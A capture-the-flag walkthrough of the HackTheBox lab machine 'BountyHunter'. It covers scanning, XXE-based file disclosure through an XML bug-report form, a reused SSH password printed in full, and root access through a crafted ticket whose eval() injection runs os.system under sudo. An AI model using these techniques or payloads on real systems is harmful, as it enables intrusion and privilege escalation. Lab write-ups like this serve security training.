HTB Write-up | BountyHunter
Retired machine can be found here.
Scanning
Like with most HTB machines, a quick scan only disclosed SSH
running on port 22
and a web server running on port 80
:
~ nmap 10.10.11.100
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
~ nmap 10.10.11.100 -sC -sV -A -p 22,80
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
The website seems to be the corporate page for "The B Team": they're bounty hunters, security researchers, and can also use Burp ... impressive stuff.
The "Portal" link sends us to a portal.php
page, which itself links to a page that contains "the bounty tracker" - note that the portal itself is "under development":
The "bounty tracker" aka the "Bounty Report System" is hosted at /log_submit.php
and is still in beta:
We're also able to navigate the /resources
directory, which contains some interesting files:
The most interesting, at first glance, seems to be this note:
A lot to unpack here:
- there's a
test
account on the portal that supportsnopass
; - we should probably take a look at the "tracker submit script";
- this script is not yet connected to a DB;
- there's a
developer
group somewhere, that used to have too many permissions.
Running nikto
we also found a db.php
file:
~ nikto -host 10.10.11.100
...
OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.
And indeed, unlike other random (non-existing) files, this one doesn't return 404
, but also doesn't return any data.
XXE to LFI
The /resources/bountylog.js
file seems to be the aforementioned "tracker submit script". As you can see below, this script:
- takes the values from the form submitted on the
log_submit.php
page - builds an
XML
string base64
-encodes this data- sends it to
/tracker_diRbPr00f314.php
viaPOST
request
In response, this /tracker_diRbPr00f314.php
page displays the submitted data, and also an interesting message: "If DB were ready, would have added: [...]" - this lets us know that the DB is not yet configured:
Since the data is sent via XML
I wanted to see if I could manipulate this payload in a way that achieves LFI
using XXE
. As always, I created a Python script to help me test ideas out:
Turns out, the application is vulnerable to XXE
- as an example we can see the output of the /etc/passwd
file:
LFI to RCE
After running this script with a few different SecLists (and creating some lists of my own), I was able to get the exact Linux version:
Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021
... as well as the most interesting users:
# /etc/passwd
...
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
...
After changing the script to use php://filter/read=convert.base64-encode/resource=
instead of file://
for files ending in .php
, I also had access to all of the project's files, including the DB:
~ python3 xxe-script.py -url http://10.10.11.100/tracker_diRbPr00f314.php -pathlist wordlists/custom-finding-webserver-files.txt
Checking /var/www/html/db.php
File contains data!
Checking /var/www/html/index.php
File contains data!
Checking /var/www/html/portal.php
File contains data!
Checking /var/www/html/log_submit.php
File contains data!
Checking /var/www/html/tracker_diRbPr00f314.php
File contains data!
Checking /var/www/html/resources/README.txt
File contains data!
Checking /var/www/html/resources/lato.css
File contains data!
Checking /var/www/html/resources/monsterat.css
File contains data!
Checking /var/www/html/resources/all.js
Checking /var/www/html/resources/bootstrap.bundle.min.js
Checking /var/www/html/resources/bootstrap_login.min.js
Checking /var/www/html/resources/bountylog.js
Checking /var/www/html/resources/jquery.easing.min.js
Checking /var/www/html/resources/jquery.min.js
Checking /var/www/html/resources/jquery_login.min.js
Luckily for us, someone used the same creds for the DB and SSH
access, so I got a shell:
~ ssh development@10.10.11.100
> m19RoAU0hP41A1sTsq6K
R00ting
Once in the user's /home
directory, I could see a message from John to other developers:
~ ls -la
lrwxrwxrwx 1 root root 9 Apr 5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25 2020 .bashrc
drwx------ 2 development development 4096 Apr 5 22:50 .cache
lrwxrwxrwx 1 root root 9 Jul 5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr 6 23:34 .local
-rw-r--r-- 1 development development 807 Feb 25 2020 .profile
drwx------ 2 development development 4096 Apr 7 01:48 .ssh
-rw-r--r-- 1 root root 471 Jun 15 16:10 contract.txt
-r--r----- 1 root development 33 Sep 19 06:18 user.txt
$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
John seems to be referring to some "internal tool" sent by "Skytrain Inc", so I tried to find any other reference to this company. Under /opt
I got some interesting matches:
$ grep -Rils 'Skytrain' /opt
/opt/skytrain_inc/ticketValidator.py
/opt/skytrain_inc/invalid_tickets/390681613.md
/opt/skytrain_inc/invalid_tickets/734485704.md
/opt/skytrain_inc/invalid_tickets/529582686.md
/opt/skytrain_inc/invalid_tickets/600939065.md
The ticketValidator.py
seems interesting:
~ ls -la /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:08 /opt/skytrain_inc/ticketValidator.py
When we run it using some of the tickets in the same directory, we see that these tickets are invalid:
$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.
$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/734485704.md
Destination: Bridgeport
Invalid ticket.
Let's take a closer look at the script to see if we're able to abuse it:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
After some local tests I was able to create a valid payload, but I was still unable to get the root flag, due to a "Permission denied" exception:
# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**18 + __import__('os').system('cat /root/root.txt')**
##Issued: 2021/06/21
#End Ticket
After using linpeas.sh
I realised that I was able to execute a very specific command as sudo
:
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Using this privileged command, I was able to get the flag:
$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/malicious.md
Destination: Bridgeport
c70cb6e9f9e9a923d6718090a3f74d33
Invalid ticket.